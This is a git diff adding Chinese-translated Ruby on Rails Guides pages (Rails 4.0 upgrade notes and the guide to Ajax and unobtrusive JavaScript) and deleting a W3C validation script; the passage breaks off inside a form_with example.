    Rails 4.0 把 ActiveModel::Serializers::JSON.include_root_in_json 的默认值改成 false 了。现在 Active Model 序列化程序和 Active Record 对象具有相同的默认行为。这意味着,可以把 config/initializers/wrap_parameters.rb 文件中的下述选项注释掉或删除:

    +
    +
    +# Disable root element in JSON by default.
    +# ActiveSupport.on_load(:active_record) do
    +#   self.include_root_in_json = false
    +# end
    +
    +
    +
    +
  • +
+

5.7 Action Pack

+
    +
  • +

    Rails 4.0 引入了 ActiveSupport::KeyGenerator,使用它生成和验证签名 cookie 等。Rails 3.x 生成的现有签名 cookie,如果有 secret_token,并且添加了 secret_key_base,会自动升级。

    +
    +
    +# config/initializers/secret_token.rb
    +Myapp::Application.config.secret_token = 'existing secret token'
    +Myapp::Application.config.secret_key_base = 'new secret key base'
    +
    +
    +
    +

    注意,完全升级到 Rails 4.x,而且确定不再降级到 Rails 3.x之后再设定 secret_key_base。这是因为使用 Rails 4.x 中的新 secret_key_base 签名的 cookie 与 Rails 3.x 不兼容。你可以留着 secret_token,不设定新的 secret_key_base,把弃用消息忽略,等到完全升级好了再改。

    +

    如果使用外部应用或 JavaScript 读取 Rails 应用的签名会话 cookie(或一般的签名 cookie),解耦之后才应该设定 secret_key_base

    +
  • +
  • +

    如果设定了 secret_key_base,Rails 4.0 会加密基于 cookie 的会话内容。Rails 3.x 签名基于 cookie 的会话,但是不加密。签名的 cookie 是“安全的”,因为会确认是不是由应用生成的,无法篡改。然而,终端用户能看到内容,而加密后则无法查看,而且性能没有重大损失。

    +

    改成加密会话 cookie 的详情参见 #9978 拉取请求

    +
  • +
  • Rails 4.0 删除了 ActionController::Base.asset_path 选项,改用 Asset Pipeline 功能。

  • +
  • Rails 4.0 弃用了 ActionController::Base.page_cache_extension 选项,换成 ActionController::Base.default_static_extension

  • +
  • Rails 4.0 从 Action Pack 中删除了动作和页面缓存。如果想在控制器中使用 caches_action,要添加 actionpack-action_caching gem,想使用 caches_page,要添加 actionpack-page_caching gem。

  • +
  • Rails 4.0 删除了 XML 参数解析器。若想使用,要添加 actionpack-xml_parser gem。

  • +
  • Rails 4.0 修改了默认的 layout 查找集,使用返回 nil 的符号或 proc。如果不想使用布局,返回 false

  • +
  • Rails 4.0 把默认的 memcached 客户端由 memcache-client 改成了 dalli。若想升级,只需把 gem 'dalli' 添加到 Gemfile 中。

  • +
  • Rails 4.0 弃用了控制器中的 dom_iddom_class 方法(在视图中可以继续使用)。若想使用,要引入 ActionView::RecordIdentifier 模块。

  • +
  • Rails 4.0 弃用了 link_to 辅助方法的 :confirm 选项。现在应该使用 data 属性(如 data: { confirm: 'Are you sure?' })。基于这个辅助方法的辅助方法(如 link_to_iflink_to_unless)也受影响。

  • +
  • Rails 4.0 改变了 assert_generatesassert_recognizesassert_routing 的工作方式。现在,这三个断言抛出 Assertion,而不是 ActionController::RoutingError

  • +
  • +

    如果具名路由的名称有冲突,Rails 4.0 抛出 ArgumentError。自己定义具名路由,或者由 resources 生成都可能触发这一错误。下面两例中的 example_path 路由有冲突:

    +
    +
    +get 'one' => 'test#example', as: :example
    +get 'two' => 'test#example', as: :example
    +
    +resources :examples
    +get 'clashing/:id' => 'test#example', as: :example
    +
    +
    +
    +

    在第一例中,可以为两个路由起不同的名称。在第二例中,可以使用 resources 方法提供的 onlyexcept 选项,限制生成的路由。详情参见路由指南

    +
  • +
  • +

    Rails 4.0 还改变了含有 Unicode 字符的路由的处理方式。现在,可以直接在路由中使用 Unicode 字符。如果以前这样做过,要做修改。例如:

    +
    +
    +get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'
    +
    +
    +
    +

    要改成:

    +
    +
    +get 'こんにちは', controller: 'welcome', action: 'index'
    +
    +
    +
    +
  • +
  • +

    Rails 4.0 要求使用 match 定义的路由必须指定请求方法。例如:

    +
    +
    +# Rails 3.x
    +match '/' => 'root#index'
    +
    +# 改成
    +match '/' => 'root#index', via: :get
    +
    +# 或
    +get '/' => 'root#index'
    +
    +
    +
    +
  • +
  • +

    Rails 4.0 删除了 ActionDispatch::BestStandardsSupport 中间件。根据这篇文章<!DOCTYPE html> 就能触发标准模式。此外,ChromeFrame 首部移到 config.action_dispatch.default_headers 中了。

    +

    注意,还必须把对这个中间件的引用从应用的代码中删除,例如:

    +
    +
    +# 抛出异常
    +config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
    +
    +
    +
    +

    此外,还要把环境配置中的 config.action_dispatch.best_standards_support 选项删除(如果有的话)。

    +
  • +
  • 在 Rails 4.0 中,预先编译好的静态资源不再自动从 vendor/assetslib/assets 中复制 JS 和 CSS 之外的静态文件。Rails 应用和引擎开发者应该把静态资源文件放在 app/assets 目录中,或者配置 config.assets.precompile 选项。

  • +
  • 在 Rails 4.0 中,如果动作无法处理请求的格式,抛出 ActionController::UnknownFormat 异常。默认情况下,这个异常的处理方式是返回“406 Not Acceptable”响应,不过现在可以覆盖。在 Rails 3 中始终返回“406 Not Acceptable”响应,不可覆盖。

  • +
  • 在 Rails 4.0 中,如果 ParamsParser 无法解析请求参数,抛出 ActionDispatch::ParamsParser::ParseError 异常。你应该捕获这个异常,而不是具体的异常,如 MultiJson::DecodeError

  • +
  • 在 Rails 4.0 中,如果挂载引擎的 URL 有前缀,SCRIPT_NAME 能正确嵌套。现在不用设定 default_url_options[:script_name] 选项覆盖 URL 前缀了。

  • +
  • Rails 4.0 弃用了 ActionController::Integration,改成了 ActionDispatch::Integration

  • +
  • Rails 4.0 弃用了 ActionController::IntegrationTest,改成了 ActionDispatch::IntegrationTest

  • +
  • Rails 4.0 弃用了 ActionController::PerformanceTest,改成了 ActionDispatch::PerformanceTest

  • +
  • Rails 4.0 弃用了 ActionController::AbstractRequest,改成了 ActionDispatch::Request

  • +
  • Rails 4.0 弃用了 ActionController::Request,改成了 ActionDispatch::Request

  • +
  • Rails 4.0 弃用了 ActionController::AbstractResponse,改成了 ActionDispatch::Response

  • +
  • Rails 4.0 弃用了 ActionController::Response,改成了 ActionDispatch::Response

  • +
  • Rails 4.0 弃用了 ActionController::Routing,改成了 ActionDispatch::Routing

  • +
+

5.8 Active Support

Rails 4.0 删除了 ERB::Util#json_escape 的别名 j,因为已经把它用作 ActionView::Helpers::JavaScriptHelper#escape_javascript 的别名。

5.9 辅助方法的加载顺序

Rails 4.0 改变了从不同目录中加载辅助方法的顺序。以前,先找到所有目录,然后按字母表顺序排序。升级到 Rails 4.0 之后,辅助方法的目录顺序依旧,只在各自的目录中按字母表顺序加载。如果没有使用 helpers_path 参数,这一变化只影响从引擎中加载辅助方法的方式。如果看重顺序,升级后应该检查辅助方法是否可用。如果想修改加载引擎的顺序,可以使用 config.railties_order= 方法。

5.10 Active Record 观测器和 Action Controller 清洁器

ActiveRecord::ObserverActionController::Caching::Sweeper 提取到 rails-observers gem 中了。如果要使用它们,要添加 rails-observers gem。

5.11 sprockets-rails

+
    +
  • assets:precompile:primaryassets:precompile:all 删除了。改用 assets:precompile

  • +
  • +

    config.assets.compress 选项要改成 config.assets.js_compressor,例如:

    +
    +
    +config.assets.js_compressor = :uglifier
    +
    +
    +
    +
  • +
+

5.12 sass-rails

+
    +
  • +asset-url 不再接受两个参数。例如,asset-url("http://github.com/rails.png%22,%20image) 变成了 asset-url("http://github.com/rails.png")
  • +
+

英语原文还有从 Rails 3.0 升级到 3.1 及从 3.1 升级到 3.2 的说明,由于版本太旧,不再翻译,敬请谅解。——译者注

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/working_with_javascript_in_rails.html b/v5.0/working_with_javascript_in_rails.html new file mode 100644 index 0000000..58179d6 --- /dev/null +++ b/v5.0/working_with_javascript_in_rails.html @@ -0,0 +1,517 @@ + + + + + + + +在 Rails 中使用 JavaScript — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

在 Rails 中使用 JavaScript

本文介绍 Rails 内建对 Ajax 和 JavaScript 等的支持,使用这些功能可以轻易地开发强大的 Ajax 动态应用。

本完本文后,您将学到:

+
    +
  • Ajax 基础知识;

  • +
  • 非侵入式 JavaScript;

  • +
  • 如何使用 Rails 内建的辅助方法;

  • +
  • 如何在服务器端处理 Ajax;

  • +
  • Turbolinks gem。

  • +
+ + + + +
+
+ +
+
+
+

1 Ajax 简介

在理解 Ajax 之前,要先知道 Web 浏览器常规的工作原理。

在浏览器的地址栏中输入 http://localhost:3000 后,浏览器(客户端)会向服务器发起一个请求。然后浏览器处理响应,获取相关的静态资源文件,比如 JavaScript、样式表和图像,然后显示页面内容。点击链接后发生的事情也是如此:获取页面,获取静态资源,把全部内容放在一起,显示最终的网页。这个过程叫做“请求响应循环”。

JavaScript 也可以向服务器发起请求,并解析响应。而且还能更新网页中的内容。因此,JavaScript 程序员可以编写只更新部分内容的网页,而不用从服务器获取完整的页面数据。这是一种强大的技术,我们称之为 Ajax。

Rails 默认支持 CoffeeScript,后文所有的示例都用 CoffeeScript 编写。本文介绍的技术,在普通的 JavaScript 中也可以使用。

例如,下面这段 CoffeeScript 代码使用 jQuery 库发起一个 Ajax 请求:

+
+$.ajax(url: "/test").done (html) ->
+  $("#results").append html
+
+
+
+

这段代码从 /test 地址上获取数据,然后把结果追加到 div#results 元素中。

Rails 内建了很多使用这种技术开发应用的功能,基本上无需自己动手编写上述代码。后文介绍 Rails 如何为开发这种应用提供协助,不过都构建在这种简单的技术之上。

2 非侵入式 JavaScript

Rails 使用一种叫做“非侵入式 JavaScript”(Unobtrusive JavaScript)的技术把 JavaScript 依附到 DOM 上。非侵入式 JavaScript 是前端开发社区推荐的做法,但有些教程可能会使用其他方式。

下面是编写 JavaScript 最简单的方式,你可能见过,这叫做“行间 JavaScript”:

+
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+
+
+
+

点击链接后,链接的背景会变成红色。这种用法的问题是,如果点击链接后想执行大量 JavaScript 代码怎么办?

+
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+
+
+
+

太别扭了,不是吗?我们可以把处理点击的代码定义成一个函数,用 CoffeeScript 编写如下:

+
+@paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+
+
+

然后在页面中这么写:

+
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+
+
+
+

这种方法好点儿,但是如果很多链接需要同样的效果该怎么办呢?

+
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
+
+
+
+

这样非常不符合 DRY 原则。为了解决这个问题,我们可以使用“事件”。在链接上添加一个 data-* 属性,然后把处理程序绑定到拥有这个属性的点击事件上:

+
+@paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+$ ->
+  $("a[data-background-color]").click (e) ->
+    e.preventDefault()
+
+    backgroundColor = $(this).data("background-color")
+    textColor = $(this).data("text-color")
+    paintIt(this, backgroundColor, textColor)
+
+
+
+
+
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+
+
+
+

我们把这种方法称为“非侵入式 JavaScript”,因为 JavaScript 代码不再和 HTML 混合在一起。这样做正确分离了关注点,易于修改功能。我们可以轻易地把这种效果应用到其他链接上,只要添加相应的 data 属性即可。我们可以简化并拼接全部 JavaScript,然后在各个页面加载一个 JavaScript 文件,这样只在第一次请求时需要加载,后续请求都会直接从缓存中读取。“非侵入式 JavaScript”带来的好处太多了。

Rails 团队极力推荐使用这种方式编写 CoffeeScript(以及 JavaScript),而且你会发现很多代码库都采用了这种方式。

3 内置的辅助方法

Rails 提供了很多视图辅助方法协助你生成 HTML,如果想在元素上实现 Ajax 效果也没问题。

因为使用的是非侵入式 JavaScript,所以 Ajax 相关的辅助方法其实分成两部分,一部分是 JavaScript 代码,一部分是 Ruby 代码。

如果没有禁用 Asset Pipeline,rails.js 负责提供 JavaScript 代码,常规的 Ruby 视图辅助方法负责生成 DOM 标签。

3.1 form_for +

form_for 方法协助编写表单,可指定 :remote 选项,用法如下:

+
+<%= form_for(@article, remote: true) do |f| %>
+  ...
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/articles" class="new_article" data-remote="true" id="new_article" method="post">
+  ...
+</form>
+
+
+
+

注意 data-remote="true" 属性,现在这个表单不会通过常规的方式提交,而是通过 Ajax 提交。

或许你并不需要一个只能填写内容的表单,而是想在表单提交成功后做些事情。为此,我们要绑定 ajax:success 事件。处理表单提交失败的程序要绑定到 ajax:error 事件上。例如:

+
+$(document).ready ->
+  $("#new_article").on("ajax:success", (e, data, status, xhr) ->
+    $("#new_article").append xhr.responseText
+  ).on "ajax:error", (e, xhr, status, error) ->
+    $("#new_article").append "<p>ERROR</p>"
+
+
+
+

显然你需要的功能比这要复杂,上面的例子只是个入门。关于事件的更多内容请阅读 jquery-ujs 的维基

3.2 form_tag +

form_tag 方法的作用与 form_for 类似,也可指定 :remote 选项,如下所示:

+
+<%= form_tag('/articles', remote: true) do %>
+  ...
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/articles" data-remote="true" method="post">
+  ...
+</form>
+
+
+
+

其他用法都和 form_for 一样。详情参见文档。

link_to 方法用于生成链接,可以指定 :remote 选项,用法如下:

+
+<%= link_to "an article", @article, remote: true %>
+
+
+
+

生成的 HTML 如下:

+
+<a href="http://github.com/articles/1" data-remote="true">an article</a>
+
+
+
+

绑定的 Ajax 事件和 form_for 方法一样。下面举个例子。假如有一个文章列表,我们想只点击一个链接就删除所有文章。视图代码如下:

+
+<%= link_to "Delete article", @article, remote: true, method: :delete %>
+
+
+
+

CoffeeScript 代码如下:

+
+$ ->
+  $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+    alert "The article was deleted."
+
+
+
+

3.4 button_to +

button_to 方法用于生成按钮,可以指定 :remote 选项,用法如下:

+
+<%= button_to "An article", @article, remote: true %>
+
+
+
+

生成的 HTML 如下:

+
+<form action="http://github.com/articles/1" class="button_to" data-remote="true" method="post">
+  <input type="submit" value="An article" />
+</form>
+
+
+
+

因为生成的就是一个表单,所以 form_for 的全部信息都可使用。

4 服务器端处理

Ajax 不仅涉及客户端,服务器端也要做处理。Ajax 请求一般不返回 HTML,而是 JSON。下面详细说明处理过程。

4.1 一个简单的例子

假设在网页中要显示一系列用户,还有一个新建用户的表单。控制器的 index 动作如下所示:

+
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    @user = User.new
+  end
+  # ...
+
+
+
+

index 视图(app/views/users/index.html.erb)如下:

+
+<b>Users</b>
+
+<ul id="users">
+<%= render @users %>
+</ul>
+
+<br>
+
+<%= form_for(@user, remote: true) do |f| %>
+  <%= f.label :name %><br>
+  <%= f.text_field :name %>
+  <%= f.submit %>
+<% end %>
+
+
+
+

app/views/users/_user.html.erb 局部视图的内容如下:

+
+<li><%= user.name %></li>
+
+
+
+

index 页面的上部显示用户列表,下部显示新建用户的表单。

下部的表单会调用 UsersControllercreate 动作。因为表单的 remote 选项为 true,所以发给 UsersController 的是 Ajax 请求,使用 JavaScript 处理。要想处理这个请求,控制器的 create 动作应该这么写:

+
+# app/controllers/users_controller.rb
+# ......
+def create
+  @user = User.new(params[:user])
+
+  respond_to do |format|
+    if @user.save
+      format.html { redirect_to @user, notice: 'User was successfully created.' }
+      format.js   {}
+      format.json { render json: @user, status: :created, location: @user }
+    else
+      format.html { render action: "new" }
+      format.json { render json: @user.errors, status: :unprocessable_entity }
+    end
+  end
+end
+
+
+
+

注意,在 respond_to 块中使用了 format.js,这样控制器才能响应 Ajax 请求。然后还要新建 app/views/users/create.js.erb 视图文件,编写发送响应以及在客户端执行的 JavaScript 代码。

+
+$("<%= escape_javascript(render @user) %>").appendTo("#users");
+
+
+
+

Rails 提供了 Turbolinks 库,它使用 Ajax 渲染页面,在多数应用中可以提升页面加载速度。

5.1 Turbolinks 的工作原理

Turbolinks 为页面中所有的 <a> 元素添加一个点击事件处理程序。如果浏览器支持 PushState,Turbolinks 会发起 Ajax 请求,解析响应,然后使用响应主体替换原始页面的整个 <body> 元素。最后,使用 PushState 技术更改页面的 URL,让新页面可刷新,并且有个精美的 URL。

要想使用 Turbolinks,只需将其加入 Gemfile,然后在 app/assets/javascripts/application.js 中加入 //= require turbolinks

如果某个链接不想使用 Turbolinks,可以在链接中添加 data-turbolinks="false" 属性:

+
+<a href="http://github.com/..." data-turbolinks="false">No turbolinks here</a>.
+
+
+
+

5.2 页面内容变更事件

编写 CoffeeScript 代码时,经常需要在页面加载时做一些事情。在 jQuery 中,我们可以这么写:

+
+$(document).ready ->
+  alert "page has loaded!"
+
+
+
+

不过,Turbolinks 改变了常规的页面加载流程,不会触发这个事件。如果编写了类似上面的代码,要将其修改为:

+
+$(document).on "turbolinks:load", ->
+  alert "page has loaded!"
+
+
+
+

其他可用事件的详细信息,参阅 Turbolinks 的自述文件

6 其他资源

下面列出一些链接,可以帮助你进一步学习:

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/w3c_validator.rb b/w3c_validator.rb deleted file mode 100644 index 4671e04..0000000 --- a/w3c_validator.rb +++ /dev/null @@ -1,96 +0,0 @@ -# --------------------------------------------------------------------------- -# -# This script validates the generated guides against the W3C Validator. -# -# Guides are taken from the output directory, from where all .html files are -# submitted to the validator. -# -# This script is prepared to be launched from the guides directory as a rake task: -# -# rake guides:validate -# -# If nothing is specified, all files will be validated, but you can check just -# some of them using this environment variable: -# -# ONLY -# Use ONLY if you want to validate only one or a set of guides. Prefixes are -# enough: -# -# # validates only association_basics.html -# rake guides:validate ONLY=assoc -# -# Separate many using commas: -# -# # validates only association_basics.html and command_line.html -# rake guides:validate ONLY=assoc,command -# -# --------------------------------------------------------------------------- - -require "w3c_validators" -include W3CValidators - -module RailsGuides - class Validator - def validate - # https://github.com/w3c-validators/w3c_validators/issues/25 - validator = NuValidator.new - STDOUT.sync = true - errors_on_guides = {} - - guides_to_validate.each do |f| - begin - results = validator.validate_file(f) - rescue Exception => e - puts "\nCould not validate #{f} because of #{e}" - next - end - - if results.errors.length > 0 - print "E" - errors_on_guides[f] = results.errors - else - print "." - end - end - - show_results(errors_on_guides) - end - - private - def guides_to_validate - guides = Dir["./output/*.html"] - guides.delete("./output/layout.html") - guides.delete("./output/_license.html") - guides.delete("./output/_welcome.html") - ENV.key?("ONLY") ? select_only(guides) : guides - end - - def select_only(guides) - prefixes = ENV["ONLY"].split(",").map(&:strip) - guides.select do |guide| - prefixes.any? { |p| guide.start_with?("./output/#{p}") } - end - end - - def show_results(error_list) - if error_list.size == 0 - puts "\n\nAll checked guides validate OK!" - else - error_summary = error_detail = "" - - error_list.each_pair do |name, errors| - error_summary += "\n #{name}" - error_detail += "\n\n #{name} has #{errors.size} validation error(s):\n" - errors.each do |error| - error_detail += "\n " + error.to_s.delete("\n") - end - end - - puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary - puts "\nHere are the detailed errors for each guide:" + error_detail - end - end - end -end - -RailsGuides::Validator.new.validate diff --git a/working_with_javascript_in_rails.html b/working_with_javascript_in_rails.html new file mode 100644 index 0000000..6c243b0 --- /dev/null +++ b/working_with_javascript_in_rails.html @@ -0,0 +1,596 @@ + + + + + + + +在 Rails 中使用 JavaScript — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

在 Rails 中使用 JavaScript

本文介绍 Rails 内建对 Ajax 和 JavaScript 等的支持,使用这些功能可以轻易地开发强大的 Ajax 动态应用。

本完本文后,您将学到:

+
    +
  • Ajax 基础知识;
  • +
  • 非侵入式 JavaScript;
  • +
  • 如何使用 Rails 内建的辅助方法;
  • +
  • 如何在服务器端处理 Ajax;
  • +
  • Turbolinks gem。
  • +
+ + + + +
+
+ +
+
+
+

1 Ajax 简介

在理解 Ajax 之前,要先知道 Web 浏览器常规的工作原理。

在浏览器的地址栏中输入 <http://localhost:3000> 后,浏览器(客户端)会向服务器发起一个请求。然后浏览器处理响应,获取相关的静态资源文件,比如 JavaScript、样式表和图像,然后显示页面内容。点击链接后发生的事情也是如此:获取页面,获取静态资源,把全部内容放在一起,显示最终的网页。这个过程叫做“请求响应循环”。

JavaScript 也可以向服务器发起请求,并解析响应。而且还能更新网页中的内容。因此,JavaScript 程序员可以编写只更新部分内容的网页,而不用从服务器获取完整的页面数据。这是一种强大的技术,我们称之为 Ajax。

Rails 默认支持 CoffeeScript,后文所有的示例都用 CoffeeScript 编写。本文介绍的技术,在普通的 JavaScript 中也可以使用。

例如,下面这段 CoffeeScript 代码使用 jQuery 库发起一个 Ajax 请求:

+
+$.ajax(url: "/test").done (html) ->
+  $("#results").append html
+
+
+
+

这段代码从 /test 地址上获取数据,然后把结果追加到 div#results 元素中。

Rails 内建了很多使用这种技术开发应用的功能,基本上无需自己动手编写上述代码。后文介绍 Rails 如何为开发这种应用提供协助,不过都构建在这种简单的技术之上。

2 非侵入式 JavaScript

Rails 使用一种叫做“非侵入式 JavaScript”(Unobtrusive JavaScript)的技术把 JavaScript 依附到 DOM 上。非侵入式 JavaScript 是前端开发社区推荐的做法,但有些教程可能会使用其他方式。

下面是编写 JavaScript 最简单的方式,你可能见过,这叫做“行间 JavaScript”:

+
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+
+
+
+

点击链接后,链接的背景会变成红色。这种用法的问题是,如果点击链接后想执行大量 JavaScript 代码怎么办?

+
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+
+
+
+

太别扭了,不是吗?我们可以把处理点击的代码定义成一个函数,用 CoffeeScript 编写如下:

+
+@paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+
+
+

然后在页面中这么写:

+
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+
+
+
+

这种方法好点儿,但是如果很多链接需要同样的效果该怎么办呢?

+
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
+
+
+
+

这样非常不符合 DRY 原则。为了解决这个问题,我们可以使用“事件”。在链接上添加一个 data-* 属性,然后把处理程序绑定到拥有这个属性的点击事件上:

+
+@paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+$ ->
+  $("a[data-background-color]").click (e) ->
+    e.preventDefault()
+
+    backgroundColor = $(this).data("background-color")
+    textColor = $(this).data("text-color")
+    paintIt(this, backgroundColor, textColor)
+
+
+
+
+
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+
+
+
+

我们把这种方法称为“非侵入式 JavaScript”,因为 JavaScript 代码不再和 HTML 混合在一起。这样做正确分离了关注点,易于修改功能。我们可以轻易地把这种效果应用到其他链接上,只要添加相应的 data 属性即可。我们可以简化并拼接全部 JavaScript,然后在各个页面加载一个 JavaScript 文件,这样只在第一次请求时需要加载,后续请求都会直接从缓存中读取。“非侵入式 JavaScript”带来的好处太多了。

Rails 团队极力推荐使用这种方式编写 CoffeeScript(以及 JavaScript),而且你会发现很多代码库都采用了这种方式。

3 内置的辅助方法

3.1 远程元素

Rails 提供了很多视图辅助方法协助你生成 HTML,如果想在元素上实现 Ajax 效果也没问题。

因为使用的是非侵入式 JavaScript,所以 Ajax 相关的辅助方法其实分成两部分,一部分是 JavaScript 代码,一部分是 Ruby 代码。

如果没有禁用 Asset Pipeline,rails-ujs 负责提供 JavaScript 代码,常规的 Ruby 视图辅助方法负责生成 DOM 标签。

应用在处理远程元素的过程中触发的不同事件参见下文。

3.1.1 form_with +

form_with 方法协助编写表单,默认假定表单使用 Ajax。如果不想使用 Ajax,把 :local 选项传给 form_with

+
+<%= form_with(model: @article) do |f| %>
+  ...
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form action="http://github.com/articles" method="post" data-remote="true">
+  ...
+</form>
+
+
+
+

注意 data-remote="true" 属性,现在这个表单不会通过常规的方式提交,而是通过 Ajax 提交。

或许你并不需要一个只能填写内容的表单,而是想在表单提交成功后做些事情。为此,我们要绑定 ajax:success 事件。处理表单提交失败的程序要绑定到 ajax:error 事件上。例如:

+
+$(document).ready ->
+  $("#new_article").on("ajax:success", (e, data, status, xhr) ->
+    $("#new_article").append xhr.responseText
+  ).on "ajax:error", (e, xhr, status, error) ->
+    $("#new_article").append "<p>ERROR</p>"
+
+
+
+

显然你需要的功能比这要复杂,上面的例子只是个入门。

link_to 方法用于生成链接,可以指定 :remote 选项,用法如下:

+
+<%= link_to "an article", @article, remote: true %>
+
+
+
+

生成的 HTML 如下:

+
+<a href="http://github.com/articles/1" data-remote="true">an article</a>
+
+
+
+

绑定的 Ajax 事件和 form_with 方法一样。下面举个例子。假如有一个文章列表,我们想只点击一个链接就删除所有文章。视图代码如下:

+
+<%= link_to "Delete article", @article, remote: true, method: :delete %>
+
+
+
+

CoffeeScript 代码如下:

+
+$ ->
+  $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+    alert "The article was deleted."
+
+
+
+

3.1.3 button_to +

button_to 方法用于生成按钮,可以指定 :remote 选项,用法如下:

+
+<%= button_to "An article", @article, remote: true %>
+
+
+
+

生成的 HTML 如下:

+
+<form action="http://github.com/articles/1" class="button_to" data-remote="true" method="post">
+  <input type="submit" value="An article" />
+</form>
+
+
+
+

因为生成的就是一个表单,所以 form_with 的全部信息都可使用。

3.2 定制远程元素

不编写任何 JavaScript 代码,仅通过 data-remote 属性就能定制元素的行为。此外,还可以指定额外的 data- 属性。

3.2.1 data-method +

链接始终发送 HTTP GET 请求。然而,如果你的应用使用 REST 架构,有些链接其实要对服务器中的数据做些操作,因此必须发送 GET 之外的请求。这个属性用于标记这类链接,明确指定使用“post”、“put”或“delete”方法。

Rails 的处理方式是,点击链接后,在文档中构建一个隐藏的表单,把表单的 action 属性的值设为链接的 href 属性值,把表单的 method 属性的值设为链接的 data-method 属性值,然后提交表单。

由于通过表单提交 GET 和 POST 之外的请求未得到浏览器的广泛支持,所以其他 HTTP 方法其实是通过 POST 发送的,意欲发送的请求在 _method 参数中指明。Rails 能自动检测并处理这种情况。

3.2.2 data-urldata-params +

页面中有些元素并不指向任何 URL,但是却想让它们触发 Ajax 调用。为元素设定 data-urldata-remote 属性将向指定的 URL 发送 Ajax 请求。还可以通过 data-params 属性指定额外的参数。

例如,可以利用这一点在复选框上触发操作:

+
+<input type="checkbox" data-remote="true"
+    data-url="/update" data-params="id=10" data-method="put">
+
+
+
+

3.2.3 data-type +

此外,在含有 data-remote 属性的元素上还可以通过 data-type 属性明确定义 Ajax 的 dataType

3.3 确认

可以在链接和表单上添加 data-confirm 属性,让用户确认操作。呈献给用户的是 JavaScript confirm() 对话框,内容为 data-confirm 属性的值。如果用户选择“取消”,操作不会执行。

在链接上添加这个属性后,对话框在点击链接后弹出;在表单上添加这个属性后,对话框在提交时弹出。例如:

+
+<%= link_to "Dangerous zone", dangerous_zone_path,
+  data: { confirm: 'Are you sure?' } %>
+
+
+
+

生成的 HTML 为:

+
+<a href="http://github.com/..." data-confirm="Are you sure?">Dangerous zone</a>
+
+
+
+

在表单的提交按钮上也可以设定这个属性。这样可以根据所按的按钮定制提醒消息。此时,不能在表单元素上设定 data-confirm 属性。

默认使用的是 JavaScript 确认对话框,不过你可以定制这一行为,监听 confirm 时间,在对话框弹出之前触发。若想禁止弹出默认的对话框,让事件句柄返回 false

3.4 自动禁用

还可以使用 disable-with 属性在提交表单的过程中禁用输入元素。这样能避免用户不小心点击两次,发送两个重复的 HTTP 请求,导致后端无法正确处理。这个属性的值是按钮处于禁用状态时显示的新值。

带有 data-method 属性的链接也可设定这个属性。

例如:

+
+<%= form_with(model: @article.new) do |f| %>
